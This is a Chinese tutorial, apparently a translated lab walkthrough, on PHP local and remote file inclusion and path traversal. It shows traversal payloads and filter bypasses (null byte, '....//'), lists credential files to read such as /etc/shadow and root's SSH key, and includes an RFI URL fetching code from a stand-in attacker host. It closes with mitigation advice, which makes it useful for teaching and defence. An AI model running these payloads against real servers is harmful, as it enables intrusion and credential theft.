文件包含是一种常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序。当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行时执行的文件。文件包含漏洞分为本地文件包含 (LFI) 和远程文件包含 (RFI) 两种类型。本地文件包含是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。文件包含漏洞可以导致执行任意代码,读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解。若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制。
文件包含漏洞通常在编写和实施不良的PHP等编程语言的Web应用程序中被发现和利用。这些漏洞的主要问题在于输入验证,其中用户输入未经过清理或验证,而用户可以控制它们。当输入未经验证时,用户可以向函数传递任何输入,从而导致漏洞。
默认情况下,攻击者可以利用文件包含漏洞来泄露数据,例如与Web应用程序或操作系统相关的代码、凭据或其他重要文件。此外,如果攻击者可以通过其他方式向服务器写入文件,则可能会结合使用文件包含来实现远程命令执行(RCE)。
也称为目录遍历,这是一种Web安全漏洞,允许攻击者读取运行应用程序的服务器上的操作系统资源,例如本地文件。攻击者通过操纵和滥用Web应用程序的URL来利用此漏洞,以定位和访问存储在应用程序根目录之外的文件或目录。
路径遍历漏洞发生在用户的输入被传递给函数(例如PHP中的file_get_contents)时。重要的是要注意,函数并不是漏洞的主要原因。通常是由于输入验证或过滤不足导致的漏洞。
我们可以通过向URL参数添加有效载荷来测试URL参数,以查看Web应用程序的行为。路径遍历攻击,也称为点点斜杠攻击,使用../将目录向上移动一步。如果攻击者找到了入口点,即在此处是get.php?file=,那么攻击者可能发送类似以下的内容:http://webapp.thm/get.php?file=../../../../etc/passwd
假设没有输入验证,而是访问PDF文件位于/var/www/app/CVs位置,Web应用程序从其他目录中检索文件,例如/etc/passwd。每个..条目将一个目录向上移动,直到达到根目录/。然后它更改目录为/etc,从那里读取passwd文件。
因此,Web应用程序将文件内容发送回用户。
类似地,如果Web应用程序在Windows服务器上运行,则攻击者需要提供Windows路径。例如,如果攻击者想要读取位于c:\boot.ini中的boot.ini文件,则攻击者可以尝试以下操作,具体取决于目标操作系统版本:
http://webapp.thm/get.php?file=../../../../boot.ini 或
http://webapp.thm/get.php?file=../../../../windows/win.ini
在这里与Linux操作系统相同的概念适用,我们向上爬目录直到达到通常为c:\的根目录。
有时,开发人员会添加过滤器,以限制仅对某些文件或目录的访问。以下是在测试时可能使用的一些常见操作系统文件。
位置 | 描述 |
---|---|
/etc/issue | 包含在登录提示之前打印的消息或系统标识。 |
/etc/profile | 控制系统范围内的默认变量,例如导出变量、文件创建掩码(umask)、终端类型、邮件消息以指示新邮件何时到达等。 |
/proc/version | 指定Linux内核的版本。 |
/etc/passwd | 包含所有已注册用户,这些用户可以访问系统。 |
/etc/shadow | 包含有关系统用户密码的信息。 |
/root/.bash_history | 包含root用户的历史命令。 |
/var/log/dmessage | 包含全局系统消息,包括在系统启动期间记录的消息。 |
/var/mail/root | root用户的所有电子邮件。 |
/root/.ssh/id_rsa | root用户或服务器上任何已知有效用户的私有SSH密钥。 |
/var/log/apache2/access.log | Apache Web服务器的访问请求。 |
C:\boot.iniC:\boot.ini | 包含计算机具有BIOS固件的计算机的引导选项。 |
对Web应用程序的LFI攻击通常是由于开发人员缺乏安全意识。在PHP中,使用include、require、include_once和require_once等函数通常会导致易受攻击的Web应用程序。
1. 假设Web应用程序提供两种语言,用户可以在EN和AR之间进行选择
上述PHP代码使用通过URL参数lang传递的GET请求来包含页面文件。可以通过发送以下HTTP请求来调用该调用:http://webapp.thm/index.php?lang=EN.php,以加载英语页面,或者http://webapp.thm/index.php?lang=AR.php,以加载阿拉伯语页面,其中EN.php和AR.php文件存在于同一目录中。
理论上,如果没有输入验证,我们可以访问并显示服务器上的任何可读文件。假设我们要读取包含有关Linux操作系统用户的敏感信息的/etc/passwd文件,我们可以尝试以下操作:http://webapp.thm/get.php?file=/etc/passwd
在这种情况下,它有效,因为在include函数中没有指定目录,也没有输入验证。
2. 接下来,在以下代码中,开发人员决定在函数内指定目录。
在上述代码中,开发人员决定使用include函数仅通过lang参数调用languages目录中的PHP页面。
如果没有输入验证,攻击者可以通过用其他操作系统敏感文件替换lang输入来操纵URL。再次,有效载荷看起来类似于路径遍历,但include函数允许我们将任何调用的文件包含到当前页面中。以下将是利用:
http://webapp.thm/index.php?lang=../../../../etc/passwd
1. 在前两种情况下,我们检查了Web应用程序的代码,然后我们知道如何利用它。然而,在这种情况下,我们正在执行黑盒测试,我们没有源代码。在这种情况下,错误在理解数据如何传递并在Web应用程序中进行处理方面非常重要。
在此场景中,我们有以下入口点:http://webapp.thm/index.php?lang=EN。如果我们输入无效的输入,例如THM,我们将获得以下错误
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
错误消息透露了重要的信息。通过输入THM作为输入,错误消息显示了include函数的外观:include(languages/THM.php);
如果仔细查看目录,我们可以告诉函数包含位于languages目录中的文件,并在条目末尾添加.php。因此,有效的输入将是类似于:index.php?lang=EN,其中文件EN位于给定的languages目录中,并命名为EN.php
此外,错误消息还透露了有关完整Web应用程序目录路径的另一重要信息,即/var/www/html/THM-4/
为了利用这一点,我们需要使用../技巧,如目录遍历部分所述,以离开当前文件夹。让我们尝试以下:
请注意,我们使用了4个../,因为我们知道路径有四个级别/var/www/html/THM-4。但是我们仍然收到以下错误:
Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
看起来我们可以离开PHP目录,但是include函数仍然读取以.php结尾的输入!这告诉我们,开发人员指定了要传递给include函数的文件类型。为了绕过此场景,我们可以使用NULL BYTE,即%00。
使用null字节是一种注入技术,其中使用URL编码的表示法(例如%00或十六进制中的0x00)与用户提供的数据一起终止字符串。您可以将其视为试图欺骗Web应用程序忽略Null Byte之后的任何内容。
通过在有效负载末尾添加Null Byte,我们告诉include函数忽略Null Byte之后的任何内容,可能如下所示:
include("languages/../../../../../etc/passwd%00").".php"); 相当于 → include("languages/../../../../../etc/passwd");include
注意:在PHP 5.3.4及以上版本中,%00技巧已被修复并不起作用。
2. 在此部分中,开发人员决定过滤关键字以避免透露敏感信息!/etc/passwd文件正在被过滤。有两种绕过过滤的可能方法。首先,通过使用NullByte %00或在过滤关键字/..末尾使用当前目录技巧。利用将类似于http://webapp.thm/index.php?lang=/etc/passwd/的情况。我们也可以使用http://webapp.thm/index.php?lang=/etc/passwd%00
为了更清楚地了解,如果我们尝试在文件系统中使用cd ..,它将使您回退一步;但是,如果你执行cd .,它将保持在当前目录中。类似地,如果我们尝试/etc/passwd/..,它的结果将是/etc/,因为我们移动了一个到根目录。现在,如果我们尝试/etc/passwd/.,结果将是/etc/passwd,因为点指的是当前目录。
3. 接下来,在以下场景中,开发人员开始使用输入验证,通过过滤一些关键字。让我们测试并检查错误消息!
如果我们检查include(languages/etc/passwd)部分的警告消息,我们知道Web应用程序将../替换为空字符串。我们可以使用以下几种技术之一来绕过这个问题
首先,我们可以发送以下负载以绕过它:....//....//....//....//....//etc/passwd
这有效是因为PHP过滤器只匹配并替换它找到的第一个子集字符串../,不进行另一次匹配,使得如下图所示。
4. 最后,我们将讨论开发人员强制包含从已定义目录读取的情况!例如,如果Web应用程序要求提供必须包含目录的输入,例如:http://webapp.thm/index.php?lang=languages/EN.php,那么为了利用此漏洞,我们需要在有效载荷中包含目录,如:?lang=languages/../../../../../etc/passwd
远程文件包含(RFI)是一种将远程文件包含到易受攻击的应用程序中的技术。与LFI类似,RFI发生在未正确清理用户输入的情况下,允许攻击者将外部URL注入到include函数中。RFI的一个先决条件是allow_url_fopen选项必须打开。
远程文件包含(RFI)的风险比本地文件包含(LFI)更高,因为RFI漏洞允许攻击者在服务器上实现远程命令执行(RCE)。成功的RFI攻击可能导致以下其他后果:
敏感信息泄露
XSS
DoS
为了成功进行RFI攻击,外部服务器必须与应用程序服务器通信,攻击者在其服务器上托管恶意文件。然后,通过HTTP请求将恶意文件注入到包含函数中,恶意文件的内容在受攻击的应用程序服务器上执行。
首先,攻击者注入恶意URL,指向攻击者的服务器,如http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,恶意URL将传递到包含函数中。接下来,Web应用服务器将向恶意服务器发送GET请求以获取文件。结果,Web应用将远程文件包含到包含函数中,以执行页面中的PHP文件,并将执行内容发送给攻击者。在我们的情况中,当前页面的某处必须显示“Hello THM”消息。
作为开发人员,了解Web应用程序漏洞、如何发现它们以及预防方法是很重要的。为防止文件包含漏洞,一些建议包括:
使用最新版本更新系统和服务,包括Web应用程序框架。
关闭PHP错误以防止泄漏应用程序路径和其他可能暴露信息。
Web应用防火墙(WAF)是缓解Web应用程序攻击的良好选择。
如果您的Web应用程序不需要,禁用一些可能导致文件包含漏洞的PHP功能,如allow_url_fopen和allow_url_include。
仔细分析Web应用程序,并仅允许需要的协议和PHP包装器。
不要相信用户输入,并确保实施针对文件包含的适当输入验证。
实施文件名和位置的白名单和黑名单。